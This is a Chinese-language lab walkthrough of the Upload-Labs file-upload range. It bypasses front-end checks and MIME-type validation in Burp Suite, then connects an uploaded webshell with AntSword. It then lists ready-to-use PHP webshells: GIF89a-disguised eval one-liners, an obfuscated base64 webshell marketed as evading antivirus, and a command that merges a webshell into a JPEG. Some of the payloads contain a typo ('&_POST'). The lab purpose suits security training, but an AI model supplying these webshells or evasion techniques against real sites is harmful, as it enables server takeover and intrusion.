Upload-Labs

Upload-Labs是一个使用PHP语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。

思考：他只让我传一个.jpg的图片，我想传一个.php的木马，两者什么区别

  1. 文件类型不一样
  2. 文件大小不一样
  3. 内容不一样，php有<?php>,eval等关键字

前端校验

Pass-01
通过F12查看源代码定位发现有一个checkFile()函数，删掉即可

后端(服务端)校验-文件类型绕过

Pass-02
这一关我们故技重施发现不行了，那么就不只是前端校验了，后端也有校验
我们打开burp抓包

我们注意到这里面有个HTTP头叫做Content-Type，这是我上传php的
我们再上传一个jpg，看看Content-Type是什么样
这时候就变成了image-jpeg（不用在意这些乱码）
在这里插入图片描述
我们思路就来了，上传一个php，burp抓包改Content-Type，改成image/jpeg就ok啦
不改Content-Type头，回显“文件类型不正确，请重新上传”
在这里插入图片描述
改了之后，就回显了上传成功之后的相对路径

相对路径直接复制到蚁剑，连接之后就可以成功啦

​Pass-02的后端验证仅仅使用了MIME类型进行验证，这样是不安全的。我们仍然可以使用BurpSuite伪造MIME类型绕过验证。将Content-type改为image/png即可。

变形木马

如果开发网站的程序员过滤了<?php>这样的关键字，那我们该如何绕过？
可以使用Javascript代码绕过

php5适用的木马(大部分首选)

1
2
3
4
5
GIF89a
#define width 1337
#define height 1337
#只支持php5
<script language="php">@eval(&_POST['cmd']);phpinfo();</script>

php7适用的木马

1
2
3
4
GIF89a
#define width 1337
#define height 1337
<?=@eval(&_POST['cmd']);

免杀一句话木马（sqzr）

1
2
3
4
5
6
7
8
9
10
<?php 
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK"; 
$pjt="CRfUE9TVF"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="F6ciddKTs="; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

图片木马

如果开发者限制了上传文件的大小，例如一张图片至少要大于200kb，那我们就要用到图片木马

首先，先准备一个一句话木马1.php还有一个图片2.jpg

在终端中使用语句copy 2.jpg/b+1.php/a zyh.jpg，我们的图片马就做好了
现在这个zyh.php既有图片的功能，又有木马的功能，当他后缀为jpg时，就为图片，当他后缀为php时，就为木马